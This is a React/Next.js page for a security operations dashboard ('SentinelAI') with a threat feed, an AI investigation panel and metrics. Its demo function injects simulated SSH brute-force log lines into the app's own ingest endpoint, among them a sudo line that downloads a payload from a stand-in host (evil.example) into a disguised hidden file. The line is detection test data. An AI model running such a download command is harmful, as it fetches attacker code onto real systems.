"use client";

import { motion, AnimatePresence } from "framer-motion";
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import { Activity, Cpu, Globe2, Radar, RotateCw, Shield, Sparkles, Terminal } from "lucide-react";
import { Badge } from "@/components/ui/badge";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { ScrollArea } from "@/components/ui/scroll-area";
import { Separator } from "@/components/ui/separator";
import { Progress } from "@/components/ui/progress";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";

type FeedItem = {
  type?: string;
  severity?: string;
  message?: string;
  source_ip?: string;
  event_type?: string;
  ts?: string;
  technique?: string;
  confidence?: number;
  description?: string;
  title?: string;
  summary?: string;
  executive?: string;
  technical?: string;
  agent?: string;
  status?: string;
  detail?: string;
  replay?: boolean;
  replay_index?: number;
  replay_total?: number;
  phase?: string;
  investigation_notes?: string;
  recommended_actions?: string[];
};

type Metrics = {
  threats_detected: number;
  active_incidents: number;
  blocked_attacks: number;
  events_per_minute: number;
  top_countries: { country: string; count: number }[];
  risk_trend: { t: number; risk: number }[];
  remediation_success_rate: number;
  attack_frequency: { minute: number; count: number }[];
};

const defaultMetrics: Metrics = {
  threats_detected: 0,
  active_incidents: 0,
  blocked_attacks: 0,
  events_per_minute: 0,
  top_countries: [],
  risk_trend: [],
  remediation_success_rate: 0.94,
  attack_frequency: [],
};

/** Single canonical host so SSR and the browser match (avoids localhost vs 127.0.0.1 hydration errors). */
function normalizeApiOrigin(raw: string): string {
  try {
    const u = new URL(raw);
    if (u.hostname === "localhost") {
      u.hostname = "127.0.0.1";
    }
    return u.origin;
  } catch {
    return raw;
  }
}

function apiBase(): string {
  const raw = process.env.NEXT_PUBLIC_API_URL;
  if (raw === undefined || raw === "") {
    if (typeof window !== "undefined") {
      return window.location.origin;
    }
    return "";
  }
  return normalizeApiOrigin(raw);
}

function wsUrl(): string {
  const raw = process.env.NEXT_PUBLIC_API_URL;
  if (raw === undefined || raw === "") {
    if (typeof window !== "undefined") {
      const proto = window.location.protocol === "https:" ? "wss:" : "ws:";
      return `${proto}//${window.location.host}/live-events`;
    }
    return "ws://127.0.0.1:8000/live-events";
  }
  const base = normalizeApiOrigin(raw);
  return base.replace(/^http/, "ws") + "/live-events";
}

type RocmPanel = {
  brand?: string;
  tagline?: string;
  gpu_utilization_simulated_pct?: number;
  inference_latency_ms_simulated?: number;
  concurrent_agent_tasks?: number;
  model_serving?: string;
  open_models?: string;
  throughput_note?: string;
};

function formatAiReport(msg: FeedItem): string {
  const actions = Array.isArray(msg.recommended_actions) ? msg.recommended_actions : [];
  const parts = [
    msg.executive ?? "",
    msg.technical ? `\n\n— Attack progression —\n${msg.technical}` : "",
    msg.investigation_notes ? `\n\n— Severity rationale —\n${msg.investigation_notes}` : "",
  ];
  let out = parts.join("").trim();
  if (actions.length) {
    out += `\n\n— Recommended actions —\n${actions.map((a) => `• ${a}`).join("\n")}`;
  }
  return out;
}

function severityColor(s?: string) {
  switch ((s ?? "").toLowerCase()) {
    case "critical":
      return "text-red-400 border-red-500/40 bg-red-500/10";
    case "high":
      return "text-orange-300 border-orange-500/40 bg-orange-500/10";
    case "medium":
      return "text-amber-200 border-amber-500/35 bg-amber-500/10";
    case "low":
      return "text-sky-300 border-sky-500/35 bg-sky-500/10";
    default:
      return "text-muted-foreground border-border bg-muted/30";
  }
}

export default function Home() {
  const [metrics, setMetrics] = useState<Metrics>(defaultMetrics);
  const [feed, setFeed] = useState<FeedItem[]>([]);
  const [agents, setAgents] = useState<FeedItem[]>([]);
  const [aiPanel, setAiPanel] = useState<string>(
    "Awaiting high-fidelity incident graph. Autonomous agents are parsing collectors, enriching threat intel, and scoring blast radius.",
  );
  const [timeline, setTimeline] = useState<FeedItem[]>([]);
  const [replayActive, setReplayActive] = useState(false);
  const [reasoningTrace, setReasoningTrace] = useState<string[]>([]);
  const [rocm, setRocm] = useState<RocmPanel | null>(null);
  const wsRef = useRef<WebSocket | null>(null);

  const aiThinking = useMemo(
    () => agents.some((a) => (a.detail ?? "").toLowerCase().includes("llm") || (a.agent ?? "") === "ai_analyst"),
    [agents],
  );

  const refreshMetrics = useCallback(async () => {
    try {
      const r = await fetch(`${apiBase()}/dashboard-metrics`);
      if (!r.ok) return;
      const data = await r.json();
      setMetrics({ ...defaultMetrics, ...data });
    } catch {
      /* offline */
    }
  }, []);

  const refreshAgents = useCallback(async () => {
    try {
      const r = await fetch(`${apiBase()}/agent-activity`);
      if (!r.ok) return;
      const data = await r.json();
      setAgents(data.items ?? []);
    } catch {
      /* offline */
    }
  }, []);

  useEffect(() => {
    refreshMetrics();
    const id = setInterval(refreshMetrics, 5000);
    return () => clearInterval(id);
  }, [refreshMetrics]);

  useEffect(() => {
    refreshAgents();
    const id = setInterval(refreshAgents, 4000);
    return () => clearInterval(id);
  }, [refreshAgents]);

  useEffect(() => {
    const loadRocm = async () => {
      try {
        const r = await fetch(`${apiBase()}/rocm-panel`);
        if (!r.ok) return;
        setRocm(await r.json());
      } catch {
        /* offline */
      }
    };
    loadRocm();
    const id = setInterval(loadRocm, 4000);
    return () => clearInterval(id);
  }, []);

  useEffect(() => {
    const url = wsUrl();
    const ws = new WebSocket(url);
    wsRef.current = ws;
    ws.onmessage = (ev) => {
      try {
        const msg = JSON.parse(ev.data as string) as Record<string, unknown>;
        if (msg.type === "replay") {
          const phase = msg.phase as string | undefined;
          if (phase === "begin") {
            setReplayActive(true);
            setAiPanel("Replaying buffered attack chain for the jury…");
          }
          if (phase === "frame" && msg.data && typeof msg.data === "object") {
            const inner = msg.data as FeedItem;
            setFeed((prev) =>
              [
                {
                  ...inner,
                  replay: true,
                  replay_index: msg.index as number | undefined,
                  replay_total: msg.total as number | undefined,
                },
                ...prev,
              ].slice(0, 200),
            );
            if (inner.type === "detection" && inner.description) {
              setReasoningTrace((t) => [inner.description!, ...t].slice(0, 12));
            }
            if (inner.type === "incident") {
              setTimeline((prev) => [inner, ...prev].slice(0, 40));
              setAiPanel(inner.summary ?? String(inner.title ?? "Replayed incident"));
            }
            if (inner.type === "ai_report") {
              setAiPanel(formatAiReport(inner));
            }
          }
          if (phase === "end") {
            setReplayActive(false);
            setReasoningTrace((t) => ["[Replay complete]", ...t].slice(0, 12));
          }
          if (phase === "empty") {
            setAiPanel(String(msg.message ?? "Replay buffer empty — run a simulation first."));
          }
          return;
        }

        const row = msg as FeedItem;
        setFeed((prev) => [row, ...prev].slice(0, 200));
        if (row.type === "detection" && row.description) {
          setReasoningTrace((t) => [row.description!, ...t].slice(0, 12));
        }
        if (row.type === "incident") {
          setTimeline((prev) => [row, ...prev].slice(0, 40));
          setAiPanel(
            row.summary ??
              "Incident correlation engine fused multi-stage telemetry into a single attack narrative.",
          );
        }
        if (row.type === "ai_report") {
          setAiPanel(formatAiReport(row));
        }
      } catch {
        /* ignore */
      }
    };
    ws.onerror = () => {
      setFeed((p) => [
        { type: "system", severity: "medium", message: `WebSocket degraded — API at ${apiBase()}` },
        ...p,
      ]);
    };
    return () => ws.close();
  }, []);

  const severityCounts = useMemo(() => {
    const c = { critical: 0, high: 0, medium: 0, low: 0 };
    for (const row of feed) {
      const s = (row.severity ?? "").toLowerCase();
      if (s in c) (c as Record<string, number>)[s] += 1;
    }
    return c;
  }, [feed]);

  const maxCountry = Math.max(1, ...metrics.top_countries.map((x) => x.count));

  const startReplay = async () => {
    try {
      await fetch(`${apiBase()}/replay/start`, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ delay_ms: 420 }),
      });
    } catch {
      /* offline */
    }
  };

  const runDemoBurst = async () => {
    const lines = [
      'Jan 10 12:00:01 edge-01 sshd[9001]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
      'Jan 10 12:00:03 edge-01 sshd[9002]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
      'Jan 10 12:00:05 edge-01 sshd[9003]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
      'Jan 10 12:00:07 edge-01 sshd[9004]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
      'Jan 10 12:00:09 edge-01 sshd[9005]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
      'Jan 10 12:00:15 edge-01 sshd[9006]: Accepted publickey for ubuntu from 45.33.32.156 port 22 ssh2',
      'Jan 10 12:00:40 edge-01 sudo: ubuntu : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/curl -fsSL http://evil.example/p -o /tmp/.kworker',
    ];
    for (const raw_line of lines) {
      await fetch(`${apiBase()}/ingest-logs`, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ source: "demo", raw_line, metadata: { host: "edge-01" } }),
      });
      await new Promise((r) => setTimeout(r, 120));
    }
  };

  return (
    <div className="relative min-h-screen overflow-x-hidden p-4 md:p-8 font-sans">
      <div className="pointer-events-none absolute inset-0 scanline opacity-40" />
      <header className="mx-auto mb-8 flex max-w-[1600px] flex-col gap-4 md:flex-row md:items-end md:justify-between">
        <div>
          <motion.div
            initial={{ opacity: 0, y: 8 }}
            animate={{ opacity: 1, y: 0 }}
            className="flex items-center gap-3"
          >
            <div className="flex h-12 w-12 items-center justify-center rounded-2xl border border-primary/40 bg-primary/15 shadow-[0_0_30px_oklch(0.75_0.15_195_/_0.35)]">
              <Shield className="h-7 w-7 text-primary" />
            </div>
            <div>
              <p className="text-xs uppercase tracking-[0.35em] text-muted-foreground">Autonomous SOC</p>
              <h1 className="text-3xl font-semibold tracking-tight md:text-4xl">
                Sentinel<span className="text-primary">AI</span>
              </h1>
            </div>
          </motion.div>
          <p className="mt-3 max-w-2xl text-sm text-muted-foreground md:text-base">
            Multi-agent collectors, LangGraph orchestration, PostgreSQL evidence store, Redis fan-out, and{" "}
            <span className="text-primary/90">AMD ROCm</span>-ready open models for on-prem inference at SOC scale.
          </p>
        </div>
        <div className="flex flex-wrap gap-2">
          <Badge variant="outline" className="border-primary/40 bg-primary/10 text-primary">
            <Cpu className="mr-1 h-3 w-3" /> ROCm inference path
          </Badge>
          <Badge variant="outline" className="border-accent/40 bg-accent/10 text-accent-foreground">
            <Sparkles className="mr-1 h-3 w-3" /> Llama 3 · Qwen · Mistral · DeepSeek
          </Badge>
          <Badge variant="outline">{"MITRE ATT&CK mapping"}</Badge>
        </div>
      </header>

      <div className="mx-auto grid max-w-[1600px] gap-4 lg:grid-cols-12">
        <motion.section
          initial={{ opacity: 0, y: 12 }}
          animate={{ opacity: 1, y: 0 }}
          className="glass-panel glow-panel relative overflow-hidden lg:col-span-8"
        >
          <div className="flex flex-wrap items-center justify-between gap-2 border-b border-border/60 px-4 py-3">
            <div className="flex items-center gap-2 text-sm font-medium">
              <Radar className="h-4 w-4 text-primary" />
              Live Threat Feed
            </div>
            <div className="flex flex-wrap gap-2">
              <Button size="sm" variant="secondary" className="h-8 gap-1 text-xs" onClick={runDemoBurst}>
                <Activity className="h-3.5 w-3.5" />
                Simulate attack chain
              </Button>
              <Button
                size="sm"
                variant="outline"
                className="h-8 gap-1 border-primary/40 text-xs text-primary"
                onClick={startReplay}
                disabled={replayActive}
              >
                <RotateCw className={cn("h-3.5 w-3.5", replayActive && "animate-spin")} />
                Replay last chain
              </Button>
            </div>
          </div>
          <ScrollArea className="h-[340px] px-2">
            <div className="space-y-2 p-2">
              <AnimatePresence initial={false}>
                {feed.length === 0 && (
                  <motion.p
                    initial={{ opacity: 0 }}
                    animate={{ opacity: 1 }}
                    className="text-sm text-muted-foreground"
                  >
                    Listening on <code className="rounded bg-muted px-1 py-0.5">{wsUrl()}</code> — start the API or
                    trigger the demo script.
                  </motion.p>
                )}
                {feed.map((row, i) => (
                  <motion.div
                    key={`${row.ts ?? i}-${i}`}
                    layout
                    initial={{ opacity: 0, x: -8 }}
                    animate={{ opacity: 1, x: 0 }}
                    exit={{ opacity: 0 }}
                    className={cn(
                      "flex flex-col gap-1 rounded-xl border px-3 py-2 text-sm transition-shadow duration-300 md:flex-row md:items-center md:justify-between",
                      row.type === "detection" ? "border-destructive/35 bg-destructive/5" : "border-border/60 bg-card/30",
                      (row.severity === "critical" || row.severity === "high") && row.type === "detection"
                        ? "threat-row-hot shadow-[0_0_20px_oklch(0.65_0.2_25_/_0.2)]"
                        : "",
                    )}
                  >
                    <div className="flex flex-wrap items-center gap-2">
                      {row.replay && (
                        <Badge variant="outline" className="border-accent/50 bg-accent/10 text-[10px] text-accent-foreground">
                          replay {row.replay_index != null ? `${row.replay_index + 1}/${row.replay_total}` : ""}
                        </Badge>
                      )}
                      <Badge variant="outline" className={cn("text-[10px] uppercase", severityColor(row.severity))}>
                        {row.type ?? "event"}
                      </Badge>
                      <span className="font-mono text-xs text-muted-foreground">{row.event_type ?? row.technique}</span>
                    </div>
                    <p className="flex-1 text-xs md:px-3 md:text-sm">
                      {row.message ?? row.description ?? row.summary ?? JSON.stringify(row)}
                    </p>
                    <span className="font-mono text-[10px] text-primary/80">{row.source_ip}</span>
                  </motion.div>
                ))}
              </AnimatePresence>
            </div>
          </ScrollArea>
        </motion.section>

        <motion.aside
          initial={{ opacity: 0, y: 12 }}
          animate={{ opacity: 1, y: 0 }}
          transition={{ delay: 0.05 }}
          className="glass-panel lg:col-span-4"
        >
          <div className="border-b border-border/60 px-4 py-3 text-sm font-medium">Threat Severity</div>
          <div className="grid grid-cols-2 gap-3 p-4">
            {(
              [
                ["Critical", severityCounts.critical],
                ["High", severityCounts.high],
                ["Medium", severityCounts.medium],
                ["Low", severityCounts.low],
              ] as const
            ).map(([label, val]) => (
              <Card
                key={label}
                className={cn(
                  "border-border/50 bg-card/40",
                  label === "Critical" && val > 0 && "severity-pulse-critical border-red-500/30 shadow-[0_0_16px_rgba(239,68,68,0.15)]",
                  label === "High" && val > 0 && "border-orange-500/25 shadow-[0_0_12px_rgba(249,115,22,0.12)]",
                )}
              >
                <CardHeader className="p-3 pb-1">
                  <CardTitle className="text-xs text-muted-foreground">{label}</CardTitle>
                </CardHeader>
                <CardContent className="p-3 pt-0 text-2xl font-semibold tabular-nums">{val}</CardContent>
              </Card>
            ))}
          </div>
          <Separator className="bg-border/50" />
          <div className="space-y-3 p-4">
            <div className="flex items-center justify-between text-xs text-muted-foreground">
              <span>Risk posture</span>
              <span>{metrics.remediation_success_rate * 100}% remediation success</span>
            </div>
            <Progress value={Math.min(100, metrics.threats_detected * 3)} className="h-2" />
          </div>
        </motion.aside>

        <motion.section
          initial={{ opacity: 0, y: 12 }}
          animate={{ opacity: 1, y: 0 }}
          transition={{ delay: 0.08 }}
          className="glass-panel lg:col-span-5"
        >
          <div className="flex items-center gap-2 border-b border-border/60 px-4 py-3 text-sm font-medium">
            <Globe2 className="h-4 w-4 text-primary" />
            World Threat Map
          </div>
          <div className="relative h-[280px] p-4">
            <div className="absolute inset-4 rounded-3xl border border-primary/20 bg-gradient-to-br from-primary/10 via-transparent to-accent/10" />
            <div className="relative grid h-full place-items-center">
              <div className="grid w-full max-w-md grid-cols-4 gap-3">
                {metrics.top_countries.length === 0 ? (
                  <p className="col-span-4 text-center text-sm text-muted-foreground">
                    Geo enrichment fills as public IPs arrive (AbuseIPDB / OTX / VT optional).
                  </p>
                ) : (
                  metrics.top_countries.map((c) => (
                    <motion.div
                      key={c.country}
                      layout
                      className="rounded-xl border border-border/60 bg-card/40 p-2 text-center"
                      whileHover={{ scale: 1.03 }}
                    >
                      <p className="text-lg font-semibold">{c.country}</p>
                      <div className="mx-auto mt-2 h-16 w-1 rounded-full bg-muted">
                        <div
                          className="w-full rounded-full bg-gradient-to-t from-primary to-accent"
                          style={{ height: `${(c.count / maxCountry) * 100}%` }}
                        />
                      </div>
                      <p className="mt-1 text-[10px] text-muted-foreground">{c.count} events</p>
                    </motion.div>
                  ))
                )}
              </div>
            </div>
          </div>
        </motion.section>

        <motion.section
          initial={{ opacity: 0, y: 12 }}
          animate={{ opacity: 1, y: 0 }}
          transition={{ delay: 0.1 }}
          className="glass-panel lg:col-span-4"
        >
          <div className="border-b border-border/60 px-4 py-3 text-sm font-medium">Incident Analytics</div>
          <div className="grid gap-3 p-4 sm:grid-cols-3">
            <MetricTile label="Threats" value={metrics.threats_detected} hint="ML + rules" />
            <MetricTile label="Incidents" value={metrics.active_incidents} hint="correlated" />
            <MetricTile label="Blocked" value={metrics.blocked_attacks} hint="auto-response" />
          </div>
          <div className="px-4 pb-4">
            <p className="mb-2 text-xs text-muted-foreground">Attack frequency (rolling)</p>
            <div className="flex h-24 items-end gap-1">
              {(metrics.attack_frequency.length ? metrics.attack_frequency : [{ minute: 0, count: 1 }]).map(
                (b, idx) => {
                  const h = Math.max(8, (b.count / 10) * 80);
                  return (
                    <div
                      key={idx}
                      className="flex-1 rounded-t-md bg-gradient-to-t from-primary/20 to-primary"
                      style={{ height: `${h}%` }}
                    />
                  );
                },
              )}
            </div>
          </div>
        </motion.section>

        <motion.section
          initial={{ opacity: 0, y: 12 }}
          animate={{ opacity: 1, y: 0 }}
          transition={{ delay: 0.12 }}
          className="glass-panel lg:col-span-3"
        >
          <div className="flex items-center gap-2 border-b border-border/60 px-4 py-3 text-sm font-medium">
            <Cpu className="h-4 w-4 text-accent" />
            Agent Activity
          </div>
          <ScrollArea className="h-[280px] px-2">
            <div className="space-y-2 p-2">
              {agents.slice(0, 40).map((a, i) => (
                <div
                  key={`${a.agent}-${i}`}
                  className="rounded-lg border border-border/50 bg-card/30 px-2 py-1.5 text-xs"
                >
                  <div className="flex items-center justify-between">
                    <span className="font-semibold text-primary">{a.agent}</span>
                    <span className="text-[10px] uppercase text-muted-foreground">{a.status}</span>
                  </div>
                  <p className="text-[11px] text-muted-foreground">{a.detail}</p>
                </div>
              ))}
            </div>
          </ScrollArea>
        </motion.section>

        <motion.section
          initial={{ opacity: 0, y: 12 }}
          animate={{ opacity: 1, y: 0 }}
          transition={{ delay: 0.14 }}
          className="glass-panel lg:col-span-6"
        >
          <div className="flex flex-wrap items-center justify-between gap-2 border-b border-border/60 px-4 py-3">
            <div className="flex items-center gap-2 text-sm font-medium">
              <Sparkles className="h-4 w-4 text-accent" />
              AI Investigation
            </div>
            {aiThinking && (
              <Badge className="animate-pulse border-primary/50 bg-primary/20 text-[10px] text-primary">
                Model inferencing…
              </Badge>
            )}
          </div>
          <div className="flex h-[220px] flex-col">
            <div className="shrink-0 border-b border-border/40 px-4 py-2">
              <p className="text-[10px] font-medium uppercase tracking-wider text-primary/80">Reasoning trace</p>
              <ScrollArea className="h-[72px]">
                <ul className="space-y-1 pr-3 pt-1 font-mono text-[10px] text-muted-foreground">
                  {reasoningTrace.length === 0 && <li className="opacity-60">Awaiting detection hypotheses…</li>}
                  {reasoningTrace.map((line, i) => (
                    <motion.li
                      key={`${i}-${line.slice(0, 24)}`}
                      initial={{ opacity: 0, x: -4 }}
                      animate={{ opacity: 1, x: 0 }}
                      className="border-l border-primary/30 pl-2"
                    >
                      {line}
                    </motion.li>
                  ))}
                </ul>
              </ScrollArea>
            </div>
            <ScrollArea className="flex-1 p-4">
              <p className="whitespace-pre-wrap text-sm leading-relaxed text-muted-foreground">{aiPanel}</p>
            </ScrollArea>
          </div>
        </motion.section>

        <motion.section
          initial={{ opacity: 0, y: 12 }}
          animate={{ opacity: 1, y: 0 }}
          transition={{ delay: 0.16 }}
          className="glass-panel lg:col-span-6"
        >
          <div className="flex items-center gap-2 border-b border-border/60 px-4 py-3 text-sm font-medium">
            <Terminal className="h-4 w-4 text-primary" />
            Attack Timeline
          </div>
          <ScrollArea className="h-[220px] px-2">
            <div className="space-y-3 p-3">
              {timeline.length === 0 && (
                <p className="text-sm text-muted-foreground">Correlated incidents render here with fused edges.</p>
              )}
              {timeline.map((inc, idx) => (
                <motion.div
                  key={idx}
                  initial={{ opacity: 0, x: -6 }}
                  animate={{ opacity: 1, x: 0 }}
                  transition={{ delay: idx * 0.04 }}
                  className="relative border-l-2 border-primary/40 pl-4"
                >
                  <div className="absolute -left-[5px] top-1 h-2 w-2 animate-pulse rounded-full bg-primary shadow-[0_0_12px_oklch(0.75_0.15_195)]" />
                  <p className="text-sm font-semibold">{inc.title}</p>
                  <p className="text-xs text-muted-foreground">{inc.summary}</p>
                </motion.div>
              ))}
            </div>
          </ScrollArea>
        </motion.section>

        <motion.section
          initial={{ opacity: 0, y: 12 }}
          animate={{ opacity: 1, y: 0 }}
          transition={{ delay: 0.18 }}
          className="glass-panel font-mono text-xs lg:col-span-12"
        >
          <div className="flex items-center justify-between border-b border-border/60 px-4 py-2 text-[11px] text-muted-foreground">
            <span>
              stream://sentinel/terminal<span className="cyber-cursor" />
            </span>
            <span className="text-primary/80">tail -f /var/log/auth.log · docker · k8s · cloudtrail</span>
          </div>
          <div className="max-h-[160px] overflow-y-auto px-4 py-3 text-[11px] leading-relaxed text-primary/90">
            {feed.slice(0, 12).map((row, i) => (
              <div key={i} className="truncate">
                <span className="text-muted-foreground">[{row.ts ?? "live"}]</span>{" "}
                <span className="text-accent-foreground">{row.type}</span> {row.message ?? row.description}
              </div>
            ))}
          </div>
        </motion.section>
      </div>

      <motion.section
        initial={{ opacity: 0, y: 8 }}
        animate={{ opacity: 1, y: 0 }}
        className="glass-panel mx-auto mt-8 max-w-[1600px] border-primary/25 bg-gradient-to-br from-primary/10 via-card/30 to-transparent"
      >
        <div className="flex flex-wrap items-center justify-between gap-3 border-b border-primary/20 px-4 py-3">
          <div className="flex items-center gap-2">
            <Cpu className="h-5 w-5 text-primary" />
            <div>
              <p className="text-sm font-semibold text-primary">Powered by AMD ROCm</p>
              <p className="text-xs text-muted-foreground">{rocm?.tagline ?? "Accelerated open-source inference for parallel SOC agents"}</p>
            </div>
          </div>
          <Badge variant="outline" className="border-primary/40 text-primary">
            {rocm?.open_models ?? "Llama 3 · Qwen 2.5 · Mistral"}
          </Badge>
        </div>
        <div className="grid gap-4 p-4 sm:grid-cols-2 lg:grid-cols-4">
          <div className="rounded-xl border border-border/50 bg-card/40 p-3">
            <p className="text-[10px] uppercase text-muted-foreground">GPU utilization (sim)</p>
            <p className="text-2xl font-bold tabular-nums text-primary">{rocm?.gpu_utilization_simulated_pct ?? "—"}%</p>
          </div>
          <div className="rounded-xl border border-border/50 bg-card/40 p-3">
            <p className="text-[10px] uppercase text-muted-foreground">Inference latency (sim)</p>
            <p className="text-2xl font-bold tabular-nums text-accent-foreground">
              {rocm?.inference_latency_ms_simulated != null ? `${rocm.inference_latency_ms_simulated} ms` : "—"}
            </p>
          </div>
          <div className="rounded-xl border border-border/50 bg-card/40 p-3">
            <p className="text-[10px] uppercase text-muted-foreground">Concurrent agent tasks</p>
            <p className="text-2xl font-bold tabular-nums">{rocm?.concurrent_agent_tasks ?? "—"}</p>
          </div>
          <div className="rounded-xl border border-border/50 bg-card/40 p-3">
            <p className="text-[10px] uppercase text-muted-foreground">Model serving</p>
            <p className="truncate text-sm font-medium text-primary">{rocm?.model_serving ?? "llama3"}</p>
            <p className="mt-1 text-[10px] text-muted-foreground">{rocm?.throughput_note}</p>
          </div>
        </div>
      </motion.section>

      <footer className="mx-auto mt-6 max-w-[1600px] text-center text-[11px] text-muted-foreground">
        Local inference · parallel agents · Redis fan-out · PostgreSQL evidence · optional Chroma vector memory
      </footer>
    </div>
  );
}

function MetricTile({ label, value, hint }: { label: string; value: number; hint: string }) {
  return (
    <div className="rounded-xl border border-border/50 bg-card/30 p-3">
      <p className="text-[11px] uppercase tracking-wide text-muted-foreground">{label}</p>
      <p className="text-2xl font-semibold tabular-nums">{value}</p>
      <p className="text-[10px] text-primary/70">{hint}</p>
    </div>
  );
}
